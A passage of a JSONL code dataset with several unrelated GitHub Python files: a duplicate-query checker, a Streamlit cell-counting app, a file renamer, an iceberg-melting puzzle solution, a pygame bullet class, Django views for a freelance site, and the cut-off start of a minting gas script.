5.1.5.\n\n\"\"\"\n\n\n#Part1: Assign command-line arguments, import modules\n\n#import necessary modules\nimport sys #allows assignment of command line arguments\nimport os #allow access to computer files\nimport pandas as pd #facilitates manipulation of dataframes in Python\n\n#assign command line arguments; load input and output files\ninput_db = sys.argv[1]\n#input_db = \"Broccoli_OGs_parsed.txt\"\n#input_db = \"OF_OGs_parsed.txt\"\n#input_db = \"SP_OGs_parsed.txt\"\n#input_db = \"PO_OGs_parsed.txt\"\n#input_db = \"encoding_summary_ref.txt\"\n\n#used the above to queck the query ids themselves weren't replicated\n\n\n#Part 2: Check for duplicates & report results\n\n#import input database into a Pandas dataframe\northo_df = pd.read_csv(input_db, sep = '\\t', header = 0)\n\n#send query colummn to list\nquery_list = ortho_df.iloc[:, 0].to_list()\n\n\n#check if list members are entirely unique\nif(len(set(query_list)) == len(query_list)):\n\tprint(input_db + \"___ results DO NOT have duplicates among the queries!\")\nelse:\n\tprint(input_db + \" results HAVE duplicates among the queries!\")\n\tcopy_ortho_df = ortho_df.iloc[:, [0, -1]].copy()\n\t#the script works up until here\n\t#I'm able to make a dataframe with the line above that includes only the OG numbers & query IDs\n\tduplicate_df = pd.concat(g for _, g in copy_ortho_df.groupby(\"Query\") if len(g) > 1)\n\tbase = os.path.basename(input_db)\n\tout_full = os.path.splitext(base)[0]\n\toutput_file = out_full + \"_DUPLICATES.txt\"\n\tduplicate_df.to_csv(output_file, sep='\\t', index=False)\n","repo_name":"V-Varga/TrichoCompare","sub_path":"OG_Comparisons/check_OG_duplicates.py","file_name":"check_OG_duplicates.py","file_ext":"py","file_size_in_byte":2491,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"15611630685","text":"import os\n\nimport streamlit as st\nimport cv2\nfrom PIL import Image, ImageDraw\nimport numpy as np\nimport torch\nimport torch.nn as nn\nfrom model.resunet import *\nimport torchvision.transforms as T\nfrom utils import to_Tensor\nimport io\nfrom skimage.feature import peak_local_max\nfrom skimage.morphology import remove_small_holes, remove_small_objects, label\nfrom skimage.segmentation import watershed\nfrom scipy import ndimage\nfrom math import hypot\nimport numpy as np\nimport random\nimport PIL\nfrom streamlit.runtime.legacy_caching import clear_cache\n\n\nfrom src.utils import load_model\n\nfrom src.utils import *\nimport matplotlib\nmatplotlib.use('TkAgg')\n\nimport cv2\n\n@st.cache()\ndef load_model(path='../pre_trained_models', n_features_start=16, n_out=1, fine_tuning=False,\n unfreezed_layers=1, device='cpu', model_to_load='yellow'):\n \"\"\"Retrieves the trained model and maps it to the CPU by default,\n can also specify GPU here.\"\"\"\n st.session_state.result = 0\n st.session_state.post_processing = 0\n if model_to_load == 'green':\n path = os.path.join(path, \"c-resunet_g.h5\")\n elif model_to_load == 'yellow':\n path = os.path.join(path, \"c-resunet_y.h5\")\n\n if fine_tuning:\n model = load_model(resume_path=path, device=device, n_features_start=n_features_start, n_out=n_out,\n fine_tuning=fine_tuning, unfreezed_layers=unfreezed_layers).to(device)\n else:\n model = nn.DataParallel(c_resunet(arch='c-ResUnet', n_features_start=n_features_start, n_out=1, c0=True))\n try:\n if device == 'cpu':\n model.load_state_dict(torch.load(path, map_location=torch.device('cpu'))['model_state_dict'])\n else:\n model.load_state_dict(torch.load(path)['model_state_dict'])\n except:\n if device == 'cpu':\n model.load_state_dict(torch.load(path, map_location=torch.device('cpu')))\n else:\n model.load_state_dict(torch.load(path))\n\n return model\n\n@st.cache(allow_output_mutation=True)\ndef predict(model, images, device='cpu', transform=None):\n model.eval()\n preds = []\n\n if isinstance(images, list):\n for img in images:\n input_tensor = transform(img)[:3, :,:] # transforming from pil to tensor already have value between 0 and 1\n # (3, h, w) images\n input_batch = input_tensor.unsqueeze(0).to(device) # batch the image\n # TODO: when come multiple images pack in a list and iter to\n # TODO: transform in tensor or directly transform al the images in the list\n with torch.no_grad():\n preds.append(model(input_batch).detach().cpu()) # (1, h, w) size images # TODO: make for loop whne multiple files\n if device == 'cuda':\n torch.cuda.empty_cache()\n else:\n input_tensor = transform(images)[:3, :,:] # transforming from pil to tensor already have value between 0 and 1\n # (3, h, w) images\n input_batch = input_tensor.unsqueeze(0).to(device) # batch the image\n # TODO: when come multiple images pack in a list and iter to\n # TODO: transform in tensor or directly transform al the images in the list\n with torch.no_grad():\n preds.append(model(input_batch).detach().cpu()) # (1, h, w) size images # TODO: make for loop whne multiple files\n if device == 'cuda':\n torch.cuda.empty_cache()\n\n return preds\n@st.cache(allow_output_mutation=True)\ndef binarize(preds, th=0.7):\n\n if isinstance(preds, list):\n for p in preds:\n preds_t = [(np.squeeze(x[0:1, :, :]) > th) for x in preds]\n else:\n preds_t = (np.squeeze(x[0:1, :, :]) > th)\n\n return preds_t\n\n@st.cache\ndef make_post_processing(preds, area_threshold=6, min_obj_size=2, max_dist=3, foot=4):\n '''\n preds: array of tensor (ch, h, w)\n targets: array of tensor (ch, h, w)\n return:\n processed_preds: array of tensor (ch, h, w)\n targets: array of tensor (ch, h, w)\n '''\n\n if len(preds[0].shape) > 2:\n ix = np.argmin(preds[0].shape)\n if ix != 0:\n raise Exception(\"channels are not on the first dimension \\\n or are more than the spatial dimension\")\n\n # Find object in predicted image\n processed_preds = []\n for p in preds:\n\n labels_pred, nlabels_pred = ndimage.label(p)\n processed = remove_small_holes(labels_pred, area_threshold=area_threshold, connectivity=1,\n in_place=False)\n processed = remove_small_objects(processed, min_size=min_obj_size,\n connectivity=1, in_place=False)\n labels_bool = processed.astype(bool)\n distance = ndimage.distance_transform_edt(processed)\n\n maxi = ndimage.maximum_filter(distance, size=max_dist, mode='constant')\n local_maxi = peak_local_max(np.squeeze(maxi), indices=False, footprint=np.ones((foot, foot)),\n exclude_border=False,\n labels=np.squeeze(labels_bool))\n local_maxi = remove_small_objects(\n local_maxi, min_size=min_obj_size, connectivity=1, in_place=False)\n markers = ndimage.label(local_maxi)[0]\n labels = watershed(-distance, markers, mask=np.squeeze(labels_bool),\n compactness=1, watershed_line=True)\n processed_preds.append(labels.astype(\"uint8\")*255)\n\n return processed_preds\n\n\n@st.cache(allow_output_mutation=True)\ndef load_image(uploaded_file):\n print('uploading images')\n st.session_state.result = 0 # TODO: if the new images are a subset of the previous one, keen the st.session_state_result = 1\n st.session_state.post_processing = 0\n\n if isinstance(uploaded_file, list):\n if len(uploaded_file) == 0:\n filenames_to_read = os.listdir('../images')\n images = []\n for fl in filenames_to_read:\n #st.image('../images/{}'.format(fl))\n image_data = Image.open('../images/{}'.format(fl))\n img_byte_arr = io.BytesIO()\n image_data.save(img_byte_arr, format='PNG') # TODO: switch to tiff format\n image_data = img_byte_arr.getvalue()\n images.append(Image.open(io.BytesIO(image_data)))\n return images, filenames_to_read\n else:\n images = []\n filenames_to_read = []\n for img in uploaded_file:\n image_data = img.getvalue()\n filenames_to_read.append(img.name)\n images.append(Image.open(io.BytesIO(image_data)))\n return images, filenames_to_read\n ### When accept_multiple file is false:\n else:\n if uploaded_file is not None:\n image_data = uploaded_file.getvalue()\n st.image(image_data)\n return Image.open(io.BytesIO(image_data)), image_data.name\n else:\n st.image('../images/demo.tiff')\n image_data = Image.open('../images/demo.tiff')\n img_byte_arr = io.BytesIO()\n image_data.save(img_byte_arr, format='PNG') # TODO: switch to tiff format\n image_data = img_byte_arr.getvalue()\n return Image.open(io.BytesIO(image_data)), image_data.name\n\n\ndef display_images(images, filenames):\n sorted_images = images\n sorted_filenames = filenames\n\n\n if len(sorted_images) > 5:\n item_to_display = 5\n else:\n item_to_display = len(images)\n\n ncol = st.sidebar.number_input(\"how many loaded items to display\", 1, len(images), item_to_display)\n shuffle = st.sidebar.number_input(\"display in random order\", 0, 1, 0)\n\n if shuffle:\n zipped = list(zip(images, filenames))\n random.shuffle(zipped)\n images, filenams = zip(*zipped)\n cols = st.columns(ncol)\n idxs = list(range(0, len(images)))\n for i, x in enumerate(cols):\n # x.selectbox(f\"Input # {filenames[i]}\", idxs, key=i)\n cols[i].image(images[i])\n else:\n cols = st.columns(ncol)\n idxs = list(range(0, len(images)))\n for i, x in enumerate(cols):\n # x.selectbox(f\"Input # {filenames[i]}\", idxs, key=i)\n cols[i].image(images[i])\n\ndef computing_counts(images, preds):\n # extract predicted objects and counts,\n if isinstance(preds, list):\n counts = []\n bboxes_images = []\n for p, i in zip(preds, images):\n i_draw = ImageDraw.Draw(i)\n\n pred_label, pred_count = ndimage.label(p)\n pred_objs = ndimage.find_objects(pred_label)\n\n # compute centers of predicted objects\n #pred_centers = []\n for ob in pred_objs:\n #pred_centers.append(((int((ob[0].stop - ob[0].start) / 2) + ob[0].start),\n # (int((ob[1].stop - ob[1].start) / 2) + ob[1].start)))\n #cv2.rectangle(i_cv, (ob[1].start, ob[0].start), (ob[1].stop, ob[0].stop), (0, 255, 0), 4)\n i_draw.line( ((ob[1].start -20, ob[0].start -20),\n (ob[1].stop + 20, ob[0].start-20),\n (ob[1].stop +20, ob[0].stop+20),\n (ob[1].start-20, ob[0].stop+20),\n (ob[1].start-20, ob[0].start-20)), fill=\"green\", width=9)\n\n #i_draw.rectangle([(ob[1].start, ob[0].start), (ob[1].stop, ob[0].stop)], fill=None, outline='green')\n\n bboxes_images.append(i)\n counts.append(pred_count)\n return bboxes_images, counts\n\n else:\n pred_label, pred_count = ndimage.label(preds)\n pred_objs = ndimage.find_objects(pred_label)\n\n # compute centers of predicted objects\n pred_centers = []\n for ob in pred_objs:\n pred_centers.append(((int((ob[0].stop - ob[0].start) / 2) + ob[0].start),\n (int((ob[1].stop - ob[1].start) / 2) + ob[1].start)))\n\n cv2.rectangle(images, (ob[0].start, ob[0].stop), (ob[1].start, ob[1].stop))\n\n return images\n\n\ndef main():\n cuda = torch.cuda.is_available()\n device = \"cuda\" if cuda else \"cpu\"\n to_PIL = T.ToPILImage()\n\n if 'result' not in st.session_state:\n st.session_state.result = 0\n\n if 'post_processing' not in st.session_state:\n st.session_state.post_processing = 0\n\n if 'batch_counts' not in st.session_state:\n st.session_state.batch_counts = 0\n\n #check_model = st.checkbox('select model and training settings')\n uploaded_file = st.file_uploader(label='Pick an image to test', accept_multiple_files = True)\n #if check_model:\n # model_to_load = st.selectbox('which model to load', np.array(['green', 'yellow']))\n # model_training_status = st.selectbox('which model to load', np.array(['pre-trained']))\n #else:\n # model_to_load = 'green'\n # model_training_status = 'pre-training'\n\n st.info(\"Select the model to load:\")\n st.markdown(\n \"\"\"\n <style>\n [data-baseweb=\"select\"] {\n margin-top: -50px;\n }\n </style>\n \"\"\",\n unsafe_allow_html=True,\n )\n model_to_load = st.selectbox(\"\", np.array(['green', 'yellow']))\n #st.multiselect('which model to load', np.array([]))\n\n #cached\n model = load_model(device=device, model_to_load=model_to_load)\n #cached\n images, filenames = load_image(uploaded_file)\n #not chached\n display_images(images, filenames)\n\n post_processing_title = '<p style=\"font-family:sans-serif; color:Green; font-size: 16px;\">Post-processing parametes</p>'\n st.sidebar.markdown(post_processing_title, unsafe_allow_html=True)\n\n result = st.button('Make Prediction', key='make_prediction')\n if result:\n st.session_state.result = 1\n\n\n if st.session_state.result:\n confidence_threshold = st.slider(\"Confidence threshold\", 0.0, 1.0, 0.6, 0.05)\n\n preds = predict(model, images, device, transform=to_Tensor)\n preds_th = binarize(preds, th=confidence_threshold)\n preds_to_PIL = [to_PIL(x.int()*255) for x in preds_th]\n preds_to_PIL_converted = []\n\n images_boxes = []\n for i in images:\n images_boxes.append(i.copy())\n\n bboxes_pil, counts = computing_counts(images_boxes, preds_th)\n\n for i, p, c in zip(bboxes_pil, preds_to_PIL, counts):#TODO: make a function\n p = p.convert('L')\n preds_to_PIL_converted.append(p)\n\n col1, col2 = st.columns(2)\n with col1:\n st.image(i, use_column_width=True)\n st.caption('cells detected without post processing: {}'.format(c))\n #post_processing_title = '<p style=\"font-family:sans-serif; color:Green; font-size: 24px;\">Post-processing parametes</p>'\n #st.sidebar.markdown(post_processing, unsafe_allow_html=True)\n with col2:\n st.image(p, use_column_width=True)\n\n post_processing = st.button('Post-processing')\n if post_processing:\n st.session_state.post_processing = 1\n\n #reset = st.sidebar.button('reset value', key='reset_value')\n #if reset:\n # st.session_state.reset = 1\n\n if st.session_state.post_processing:\n if model_to_load == 'yellow':\n remove_small_object = st.sidebar.slider(\"small object size, suggested {}\".format(200), 0, 1000, 200, 1)\n area_threshold = st.sidebar.slider(\"minimum area to keep, suggested {}\".format(600), 0, 1000, 600, 1)\n max_dist = st.sidebar.slider(\"max_dist to define different object, suggested {}\".format(300), 0, 100, 30, 1)\n foot = st.sidebar.slider(\"foot, suggested {}\".format(400), 0, 100, 40, 1)\n elif model_to_load == 'green':\n remove_small_object = st.sidebar.slider(\"small object size to remove, suggested {}\".format(2), 0, 100, 2, 1)\n area_threshold = st.sidebar.slider(\"minimum area to keep, suggested {}\".format(6), 0, 100, 6, 1)\n max_dist = st.sidebar.slider(\"max_dist to define different object, suggested {}\".format(3), 0, 100, 3, 1)\n foot = st.sidebar.slider(\"foot, suggested {}\".format(4), 0, 100, 4, 1)\n\n if st.session_state.post_processing:\n post_processed = make_post_processing(preds_th, area_threshold=area_threshold\n , min_obj_size=remove_small_object , max_dist=max_dist, foot=foot)\n post_processed_to_PIL = [to_PIL(x) for x in post_processed]\n\n images_boxes_proc = []\n for i in images:\n images_boxes_proc.append(i.copy())\n print('postprocessing', st.session_state.post_processing)\n if st.session_state.post_processing:\n bboxes_pil_proc, counts_proc = computing_counts(images_boxes_proc, post_processed)\n\n for i, p, pp, c, cp in zip(images, bboxes_pil, bboxes_pil_proc, counts, counts_proc):#TODO: make a function\n col1, col2 = st.columns(2)\n\n with col1:\n st.image(p, use_column_width=True)\n st.caption('cells detected without post processing: {}'.format(c))\n\n with col2:\n st.image(pp, use_column_width=True)\n st.caption('cells detected with post_processing: {}'.format(cp))\n\n batch_counts = st.button('Run batch analysis TO IMPLEMENT', key='batch_analysis')\n if batch_counts:\n st.session_state.batch_counts = 1\n if st.session_state.batch_counts == 1:\n st.write('TO IMPLEMENT')\n\n\n\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"robomorelli/cells_counting_app","sub_path":"src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":15798,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"20978586873","text":"import os\ndef rename_files():\n #get file names from folder\n file_list = os.listdir(r\"/Users/vypatz/Desktop/alphabet1\")\n #print(file_list)\n saved_path = os.getcwd()\n print(\"cwd is \" + saved_path)\n os.chdir(r\"/Users/vypatz/Desktop/alphabet1\")\n\n #for each file, rename filename\n remove_these = dict((ord(char), None) for char in '0123456789')\n for file_name in file_list:\n os.rename(file_name, file_name.translate(remove_these))\n os.chdir(saved_path)\n\nrename_files()\n \n","repo_name":"vyyyy/Practice-Programming","sub_path":"udacity-python-course/rename_files.py","file_name":"rename_files.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"75197640373","text":"import sys\nsys.setrecursionlimit(10 ** 9)\ninput = sys.stdin.readline\nn, m = map(int, input().split())\ngrid = list(list(map(int, input().split())) for _ in range(n))\nyear = 0\nice_cnt = 0\n\ndx = [1, -1, 0, 0]\ndy = [0, 0, 1, -1]\n\ndef melting_cnt(x, y):\n cnt = 0\n for i in range(4):\n nx = x + dx[i]\n ny = y + dy[i]\n if 0 <= nx < n and 0 <= ny < m:\n if grid[nx][ny] == 0:\n cnt += 1\n return cnt\n\ndef count_ice(x, y, temp):\n temp[x][y] == 0\n\n if x < 0 or x >= n or y < 0 or y >= m:\n return\n\n for i in range(4):\n nx = x + dx[i]\n ny = y + dy[i]\n if temp[nx][ny] != 0:\n count_ice(nx, ny, temp)\n\nwhile ice_cnt < 2:\n year += 1\n graph = []\n for x in range(n):\n for y in range(m):\n if grid[x][y] != 0:\n graph.append([x, y, melting_cnt(x, y)])\n\n for a in range(len(graph)):\n x = graph[a][0]\n y = graph[a][1]\n grid[x][y] -= graph[a][2]\n if grid[x][y] < 0:\n grid[x][y] = 0\n\n temp = grid\n\n for x in range(n):\n for y in range(m):\n if temp[x][y] != 0:\n ice_cnt += 1\n count_ice(x, y, temp)\n\nprint(year)","repo_name":"keeeeeey/baekjoon_algorithm","sub_path":"구현 문제/빙산.py","file_name":"빙산.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12686061910","text":"import numpy as np\nimport pygame as pg\nfrom enemy import Enemy\n\nclass Enemy_bullet:\n def __init__( self, screen, enemy: Enemy ):\n self.position = np.array( [ enemy.center[ 0 ], enemy.center[ 1 ] ] )\n self.img = pg.transform.rotate(\n pg.transform.scale(\n pg.image.load( 'assets/bullet.png' ), ( 10, 10 ) ),\n enemy.draw_angle )\n self.screen = screen\n self.delta = np.copy( enemy.delta ) / np.linalg.norm( enemy.delta )\n self.increment = 1.5\n\n def draw( self ):\n self.screen.blit( self.img, self.position )\n # pg.draw.rect( self.screen, [255,0,0], self.get_rect() )\n\n def get_rect( self ):\n return pg.Rect( self.position[ 0 ], self.position[ 1 ], 5, 5 )\n\n","repo_name":"PrinceOfCzechia/Dogfight","sub_path":"enemy_bullet.py","file_name":"enemy_bullet.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"19941223341","text":"from django.shortcuts import render, redirect\r\nfrom django.contrib.auth import login, logout, authenticate\r\nfrom main.forms import *\r\nfrom .models import *\r\nfrom django.http import JsonResponse\r\nfrom django.core.paginator import Paginator\r\nfrom django.db.models import Q\r\nfrom django.core.files.base import ContentFile\r\nfrom django.core.files import File\r\n\r\nfrom rest_framework import status\r\nfrom rest_framework.decorators import api_view\r\nfrom rest_framework.response import Response\r\n\r\nimport json\r\nfrom chatall.models import Thread, ChatMessage\r\n\r\ndef get_search_query(query=None):\r\n queryset= []\r\n queries = query.split(\" \")\r\n for q in queries:\r\n if q != \"\":\r\n searchs = Room.objects.filter(\r\n Q(catagory__categoryname__icontains=q)).distinct()\r\n \r\n\r\n for post in searchs:\r\n print(post)\r\n queryset.append(post)\r\n return list(set(queryset))\r\ndef get_other_users(request):\r\n thread = Thread.objects.all()\r\n other_users = []\r\n mythread = []\r\n for t in thread:\r\n if request.user == t.first:\r\n mythread.append(t)\r\n elif request.user == t.second:\r\n mythread.append(t)\r\n for my in mythread:\r\n if request.user != my.first:\r\n other_users.append(my.first.username)\r\n if request.user != my.second:\r\n other_users.append(my.second.username)\r\n if len(other_users) != 0:\r\n return other_users[0]\r\n else:\r\n return other_users\r\ndef home_view(request):\r\n #Thread.objects.get_message()\r\n \r\n context = {}\r\n search = request.POST.get('search')\r\n if search:\r\n #users = Room.objects.filter(catagory__categoryname=search.lower())\r\n #print(users)\r\n users = get_search_query(search)\r\n catagorys = Category.objects.filter(~Q(categoryname__icontains=search.lower()))\r\n\r\n if users:\r\n context = {'ids':search,'users':users,'catagorys':catagorys}\r\n return render(request,'main/roomdetail.html',context)\r\n\r\n searchRoom = Category.objects.all()\r\n\r\n if request.user.is_authenticated:\r\n form = CompleteUserProfileForm(request.POST, request.FILES,instance=request.user)\r\n if form.is_valid():\r\n form.save()\r\n form = CompleteUserProfileForm()\r\n \r\n useraddress = request.POST.get('firstname')\r\n #searchRoom = Room.objects.filter(roomname=search)\r\n if searchRoom:\r\n room_list = searchRoom\r\n else:\r\n room_list =Room.objects.all()\r\n paginator = Paginator(room_list,4)\r\n\r\n try:\r\n page = int(request.GET.get('page','1'))\r\n except:\r\n page = 1\r\n\r\n try:\r\n rooms = paginator.page(page)\r\n except(EmptyPage, InvalidPage):\r\n rooms = paginator.page(paginator.num_pages)\r\n\r\n star = request.GET.get('starRateValue')\r\n context['rooms'] = rooms\r\n #context['star'] = star\r\n context['useraddress'] = useraddress\r\n context['catagorys'] = Category.objects.all()\r\n context['other_users'] = get_other_users(request)\r\n\r\n\r\n\r\n return render(request,'main/home.html',context)\r\n\r\n\r\n\r\n\r\ndef addroom_view(request):\r\n rate = request.POST.get('starRate')\r\n item_id = request.POST.get('item_id')\r\n #price = AddPriceBasic()\r\n if rate:\r\n rated = False\r\n response_data = {}\r\n response_data['starRate'] = rate + \" hira\"\r\n response_data['item_id'] = \"item id: \" + item_id\r\n user = request.user\r\n item = Room.objects.get(id=item_id)\r\n ra = Rate.objects.get_or_new(user,item.roomname)\r\n rt = Rate.objects.all()\r\n\r\n #for i in ite:\r\n #print(i.rate_amount)\r\n for rat in rt:\r\n ratEX = Rate.objects.get_or_new(rat.user,rat.room.roomname)\r\n if ra == ratEX:\r\n rated = True\r\n rat.rate_amount = rate\r\n rat.save(update_fields=['rate_amount'])\r\n ite = Rate.objects.set_total(item)\r\n return JsonResponse(response_data)\r\n\r\n if rated == False :\r\n rateSave = Rate.objects.create()\r\n rateSave.user = user\r\n rateSave.room = item\r\n rateSave.rate_amount = rate\r\n rateSave.save()\r\n ite = Rate.objects.set_total(item)\r\n return JsonResponse(response_data)\r\n #print(ra)\r\n\r\n context['other_users'] = get_other_users(request)\r\n else:\r\n context = {}\r\n #form = AddRoomForm(request.POST, request.FILES)\r\n form = AddServiceForm(request.POST, request.FILES)\r\n if request.POST:\r\n catagory = request.POST.get('catagory')\r\n if catagory != 'Catagory List':\r\n catagorys = Category.objects.get(categoryname=catagory)\r\n if catagorys:\r\n if form.is_valid():\r\n room = form.save(commit=False)\r\n room.catagory = catagorys\r\n room.room_user= request.user\r\n\r\n price = Price.objects.create()\r\n basic_price_title = request.POST.get('basic_price_title')\r\n basic_price = request.POST.get('basic_price')\r\n basic_price_discription = request.POST.get('basic_price_discription')\r\n basic_price_delivery = request.POST.get('basic_price_delivery')\r\n \r\n price.price_title = basic_price_title\r\n price.price_number = basic_price\r\n price.price_delivery = basic_price_delivery\r\n price.price_description = basic_price_discription\r\n \r\n price.save()\r\n\r\n pricebasic = PriceBasic.objects.create()\r\n pricebasic.price = price\r\n pricebasic.save()\r\n\r\n pricestandard = Price.objects.create()\r\n basic_price_title = request.POST.get('standard_price_title')\r\n basic_price = request.POST.get('standard_price')\r\n basic_price_discription = request.POST.get('standard_price_discription')\r\n basic_price_delivery = request.POST.get('standard_price_delivery')\r\n \r\n pricestandard.price_title = basic_price_title\r\n pricestandard.price_number = basic_price\r\n pricestandard.price_delivery = basic_price_delivery\r\n pricestandard.price_description = basic_price_discription\r\n \r\n pricestandard.save()\r\n\r\n standard = PriceStandard.objects.create()\r\n standard.price = pricestandard\r\n standard.save()\r\n\r\n\r\n pricepremium = Price.objects.create()\r\n basic_price_title = request.POST.get('premium_price_title')\r\n basic_price = request.POST.get('premium_price')\r\n basic_price_discription = request.POST.get('premium_price_discription')\r\n basic_price_delivery = request.POST.get('premium_price_delivery')\r\n \r\n pricepremium.price_title = basic_price_title\r\n pricepremium.price_number = basic_price\r\n pricepremium.price_delivery = basic_price_delivery\r\n pricepremium.price_description = basic_price_discription\r\n \r\n pricepremium.save()\r\n\r\n premium = PricePremium.objects.create()\r\n premium.price = pricepremium\r\n premium.save()\r\n\r\n room.pricebasic = pricebasic \r\n room.pricepremium = premium\r\n room.pricestandard = standard\r\n #return redirect('main:home_page')\r\n form.save()\r\n form = AddServiceForm()\r\n else:\r\n context['catagory_selection_error'] = \"Please Select A Catagory\"\r\n \r\n context['allroom'] = form\r\n context['allusers'] = Account.objects.all()\r\n context['catagorys'] = Category.objects.all()\r\n context['other_users'] = get_other_users(request)\r\n return render(request,'main/addroom.html',context)\r\n\r\ndef regiser_view(request):\r\n context = {}\r\n if request.POST:\r\n form = RegistrationForm(request.POST)\r\n genderValue = request.POST.get('genderValue')\r\n print(genderValue) \r\n if form.is_valid():\r\n fr = form.save(commit=False)\r\n if genderValue == 'Male':\r\n #with open('static/images/dummy-profile-image-male.png', 'rb') as f:\r\n #data = f.read()\r\n #print(data,genderValue)\r\n fr.profile_image = 'dummy-profile-image-male.png'\r\n\r\n elif genderValue == 'Female':\r\n fr.profile_image = 'dummy-profile-image-Female.jpg' \r\n fr.save()\r\n email = form.cleaned_data.get('email')\r\n raw_password = form.cleaned_data.get('password1')\r\n account = authenticate(email=email, password=raw_password)\r\n if account:\r\n login(request, account)\r\n return redirect('main:home_page')\r\n else:\r\n context['registration_form'] = form\r\n else:\r\n form = RegistrationForm()\r\n context['registration_form'] = form\r\n return render(request,'main/register.html', context)\r\n\r\ndef login_view(request):\r\n context = {}\r\n user = request.user\r\n email = 'email'\r\n if user.is_authenticated:\r\n return redirect('main:home_page')\r\n if request.POST:\r\n form = AccountAuthonticationForm(request.POST)\r\n if form.is_valid():\r\n email = request.POST['email']\r\n password = request.POST['password']\r\n user = authenticate(email=email, password=password)\r\n if user:\r\n login(request, user)\r\n return redirect('main:home_page')\r\n\r\n else:\r\n form = AccountAuthonticationForm()\r\n\r\n context['login_form'] = form\r\n context['login'] = email\r\n return render(request,'main/login.html',context)\r\n\r\ndef logout_view(request):\r\n logout(request)\r\n return redirect('main:home_page')\r\n\r\ndef single_view(request,singleuser):\r\n users = Room.objects.get(id=singleuser)\r\n if request.POST:\r\n comments = request.POST.get('addComment')\r\n if request.user.is_authenticated:\r\n if comments:\r\n comment = Comment.objects.create() \r\n comment.user = request.user\r\n comment.room = users\r\n comment.comment = comments\r\n comment.save()\r\n comments = ''\r\n Comments = Comment.objects.filter(room=users)\r\n paginator = Paginator(Comments,5)\r\n\r\n try:\r\n page = int(request.GET.get('page','1'))\r\n except:\r\n page = 1\r\n\r\n try:\r\n Comments = paginator.page(page)\r\n except(EmptyPage, InvalidPage):\r\n Comments = paginator.page(paginator.num_pages)\r\n\r\n all_images = []\r\n if users.roomimage1:\r\n all_images.append(users.roomimage1.url)\r\n else:\r\n all_images.append(users.roomimage.url)\r\n if users.roomimage2: \r\n all_images.append(users.roomimage2.url)\r\n if users.roomimage3:\r\n all_images.append(users.roomimage3.url)\r\n if users.roomimage4:\r\n all_images.append(users.roomimage4.url)\r\n\r\n servicess = Room.objects.filter(catagory__categoryname=users.catagory.categoryname).order_by('-total_rate')\r\n services = servicess.filter(~Q(id=singleuser))\r\n catagorys = Category.objects.filter(~Q(categoryname=singleuser))\r\n context = {'Comments':Comments,'users':users,'catagorys':catagorys,\r\n 'coms':Comment.objects.filter(room=users), 'other_users':get_other_users(request)\r\n ,'services':services, 'all_images':all_images}\r\n return render(request,'main/singleview.html',context)\r\n\r\ndef roomdetail_view(request,catagory):\r\n users = Room.objects.filter(catagory__categoryname=catagory).order_by('-total_rate')\r\n catagorys = Category.objects.filter(~Q(categoryname=catagory))\r\n context = {'ids':catagory,'users':users,'catagorys':catagorys,'other_users':get_other_users(request)}\r\n return render(request,'main/roomdetail.html',context)\r\n\r\n\r\ndef roombooking_view(request, slug):\r\n #data = json.loads(request.data)\r\n room_list = Room.objects.filter(~Q(id=slug))\r\n\r\n paginator = Paginator(room_list,3)\r\n\r\n try:\r\n page = int(request.GET.get('page','1'))\r\n except:\r\n page = 1\r\n\r\n try:\r\n rooms = paginator.page(page)\r\n except(EmptyPage, InvalidPage):\r\n rooms = paginator.page(paginator.num_pages)\r\n\r\n context = {}\r\n context['rooms'] = rooms\r\n context['bookroom'] = Room.objects.get(id=slug)\r\n #return JsonResponse('here we go', safe=False)\r\n return render(request,'main/roombooking.html',context)\r\n\r\ndef searchRoom_view(request,slug):\r\n context = {}\r\n search = request.GET.get('search')\r\n context['serachedrooms'] = Room.objects.filter(roomname=search)\r\n return render(request,'main/home.html',context)\r\ndef services_view(request):\r\n context = {}\r\n if request.user.is_authenticated:\r\n user = request.user\r\n context['services'] = Room.objects.filter(room_user=user)\r\n context['other_users'] = get_other_users(request)\r\n return render(request,'main/services.html',context)\r\n\r\ndef serviceupdate_view(request, service_id):\r\n context = {}\r\n if request.user.is_authenticated:\r\n service_id = service_id\r\n service = Room.objects.get(id=service_id)\r\n if request.POST:\r\n\r\n form = UpdateServiceForm(request.POST, request.FILES,instance=service)\r\n #service.roomname = request.POST.get('roomname')\r\n #service.car_price = request.POST.get('car_price')\r\n #service.car_description = request.POST.get('car_description')\r\n catagory = Category.objects.get(categoryname=request.POST.get('catagory'))\r\n service.catagory = catagory\r\n #service.roomimage = request.POST.get('roomimage')\r\n #print(request.POST.get('roomimage'))\r\n #if form.is_valid():\r\n #print(service)\r\n #room = form.save(commit=False)\r\n #room.catagory = catagorys\r\n #room.room_user= request.user\r\n #room.save()\r\n form.save()\r\n service.save()\r\n #form.save()\r\n #form = AddServiceForm()\r\n\r\n #else:\r\n #print(form)\r\n\r\n #service.rate_amount = rate\r\n #service.save(update_fields=['rate_amount'])\r\n context['service'] = service\r\n context['catagorys'] = Category.objects.all()\r\n context['other_users'] = get_other_users(request)\r\n return render(request,'main/serviceupdate.html',context)\r\ndef notfound_view(request):\r\n context = {}\r\n context['other_users'] = get_other_users(request)\r\n return render(request,'main/notfound.html',context)","repo_name":"hiruy535/gebetafreelance","sub_path":"main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":15423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43825141457","text":"from gas import set_gas_limit, set_base, calculate_gas_max, set_gas_tip\nfrom config import EXPECTED_SALE_PER_UNIT, DESIRED_RETURN, MINT_PRICE_PER_UNIT, \\\n UNITS, WALLET, RECIPIENT_ADDRESS, MINT_FUNCTION, CHAIN, Web3Instance\nfrom constants import WEI_TO_GWEI, ETH_TO_GWEI, MAINNET_ID, RINKEBY_ID\nfrom secrets import WALLETS\nimport time\n\n\ndef generate_transact_tx():\n GAS_LIMIT = 21000\n BASE = 80 # set_base() # return in 